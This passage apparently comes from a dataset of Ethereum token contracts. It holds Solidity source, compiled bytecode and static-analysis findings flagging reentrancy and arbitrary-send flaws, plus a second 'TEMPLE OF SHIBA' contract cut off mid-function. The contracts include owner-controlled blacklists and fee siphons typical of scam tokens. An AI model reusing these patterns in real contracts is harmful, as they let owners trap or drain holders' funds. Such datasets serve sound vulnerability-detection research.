swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152601f81527f526f6e616c64696e686f204b6973687528742e6d652f64696e686f7368752900602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612308602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b0316815260208101919091526040016000205491906115ed565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a081611684565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b03821660009081526002602052604090205461080590611709565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152600881527f44494e484f534855000000000000000000000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a081611769565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054673afb087b876900006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea00000846119b1565b90611a0a565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b815260040180806020018281038252602481526020018061237e6024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806122c56022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123596025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122786023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b81526004018080602001828103825260298152602001806123306029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b156115905760135477010000000000000000000000000000000000000000000000900460ff16156113e3576001600160a01b038316301480159061131657506001600160a01b0382163014155b801561133057506012546001600160a01b03848116911614155b801561134a57506012546001600160a01b03838116911614155b156113e3576012546001600160a01b03166113636110ce565b6001600160a01b0316148061139257506013546001600160a01b03166113876110ce565b6001600160a01b0316145b6113e3576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b6014548111156113f257600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561143457506001600160a01b03821660009081526007602052604090205460ff16155b61143d57600080fd5b6013546001600160a01b03848116911614801561146857506012546001600160a01b03838116911614155b801561148d57506001600160a01b03821660009081526005602052604090205460ff16155b80156114b6575060135477010000000000000000000000000000000000000000000000900460ff165b156114fe576001600160a01b03821660009081526008602052604090205442116114df57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611509306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff1615801561154657506013546001600160a01b03858116911614155b801561156e5750601354760100000000000000000000000000000000000000000000900460ff165b1561158e5761157c81611769565b47801561158c5761158c47611684565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115d257506001600160a01b03831660009081526005602052604090205460ff165b156115db575060005b6115e784848484611a4c565b50505050565b6000818484111561167c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611641578181015183820152602001611629565b50505050905090810190601f16801561166e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc61169e836002611a0a565b6040518115909202916000818181858888f193505050501580156116c6573d6000803e3d6000fd5b506011546001600160a01b03166108fc6116e1836002611a0a565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a5482111561174c5760405162461bcd60e51b815260040180806020018281038252602a81526020018061229b602a913960400191505060405180910390fd5b6000611756611b68565b90506117628382611a0a565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606080830184529260208301908036833701905050905030816000815181106117d757fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561184457600080fd5b505afa158015611858573d6000803e3d6000fd5b505050506040513d602081101561186e57600080fd5b505181518290600190811061187f57fe5b6001600160a01b0392831660209182029290920101526012546118a591309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561194457818101518382015260200161192c565b505050509050019650505050505050600060405180830381600087803b15801561196d57600080fd5b505af1158015611981573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b6000826119c057506000610570565b828202828482816119cd57fe5b04146117625760405162461bcd60e51b81526004018080602001828103825260218152602001806122e76021913960400191505060405180910390fd5b600061176283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8b565b80611a5957611a59611bf0565b6001600160a01b03841660009081526006602052604090205460ff168015611a9a57506001600160a01b03831660009081526006602052604090205460ff16155b15611aaf57611aaa848484611c22565b611b5b565b6001600160a01b03841660009081526006602052604090205460ff16158015611af057506001600160a01b03831660009081526006602052604090205460ff165b15611b0057611aaa848484611d46565b6001600160a01b03841660009081526006602052604090205460ff168015611b4057506001600160a01b03831660009081526006602052604090205460ff165b15611b5057611aaa848484611def565b611b5b848484611e62565b806115e7576115e7611ea6565b6000806000611b75611eb4565b9092509050611b848282611a0a565b9250505090565b60008183611bda5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611641578181015183820152602001611629565b506000838581611be657fe5b0495945050505050565b600c54158015611c005750600d54155b15611c0a57611c20565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611c3487612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611c669088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611c959087612090565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cc490866120d2565b6001600160a01b038916600090815260026020526040902055611ce68161212c565b611cf084836121b4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611d5887612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d8a9087612090565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611dc090846120d2565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611cc490866120d2565b600080600080600080611e0187612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611e339088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611d8a9087612090565b600080600080600080611e7487612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c959087612090565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611ff357826002600060098481548110611ee457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f495750816003600060098481548110611f2257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f6757600a54683635c9adc5dea000009450945050505061202f565b611fa76002600060098481548110611f7b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612090565b9250611fe96003600060098481548110611fbd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612090565b9150600101611ec8565b50600a5461200a90683635c9adc5dea00000611a0a565b82101561202957600a54683635c9adc5dea0000093509350505061202f565b90925090505b9091565b60008060008060008060008060006120508a600c54600d546121d8565b9250925092506000612060611b68565b905060008060006120738e878787612227565b919e509c509a509598509396509194505050505091939550919395565b600061176283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ed565b600082820183811015611762576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000612136611b68565b9050600061214483836119b1565b3060009081526002602052604090205490915061216190826120d2565b3060009081526002602090815260408083209390935560069052205460ff1615610f87573060009081526003602052604090205461219f90846120d2565b30600090815260036020526040902055505050565b600a546121c19083612090565b600a55600b546121d190826120d2565b600b555050565b60008080806121ec606461106389896119b1565b905060006121ff60646110638a896119b1565b90506000612217826122118b86612090565b90612090565b9992985090965090945050505050565b600080808061223688866119b1565b9050600061224488876119b1565b9050600061225288886119b1565b90506000612264826122118686612090565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fe2ffa455e2271eb83e463cc290abe0ddcd7f10d4a6317797446289d6e5a694364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,520
0x83b5302ab2b78d81d9af332f4f337ebd8e49aee7
// SPDX-License-Identifier: Unlicensed /* https://t.me/templeofshiba Order of the Shiba temple In ancient Egypt, temples were seen as residences for deities, who were thought to temporarily manifest themselves in the cult statues located in the sanctuary. The temples were also the stage for daily rituals that were ideally performed by the supreme priests. These cultic performances included the offering of food and beverages as well as the burning of incense, which was thought to have a purifying effect. In the contemporary crypto world, the sole purpose of setting up the Order of the Shiba temple is to create a sanctuary for every crypto believer to worship our great spiritual leader The Great Shiba. Here comes the guide of worship. Shiba Worship Procedure Guide Our Mission: To invoke an atmosphere charged with the manifested presence of Shiba’s spirit from beginning to end. Our Goal: To approach Shiba in an attitude of prayer and praise that will usher in the Spirit of Shiba. This will be realized through: Intercessory prayer before and throughout service in order to condition the hearts of the hearers who receive the Word and become doers thereof. Shiba fellowship that will promote wholesome relationships. Doubt your doubts, Don’t doubt the order of the Shiba Temple, Don’t doubt the Great Shiba Shiba is the new GOD. God is not intimidated by bad news or your fears, and it is not offended by our honest believer. */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TEMPLES is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TEMPLE OF SHIBA"; string private constant _symbol = "TEMPLES"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = 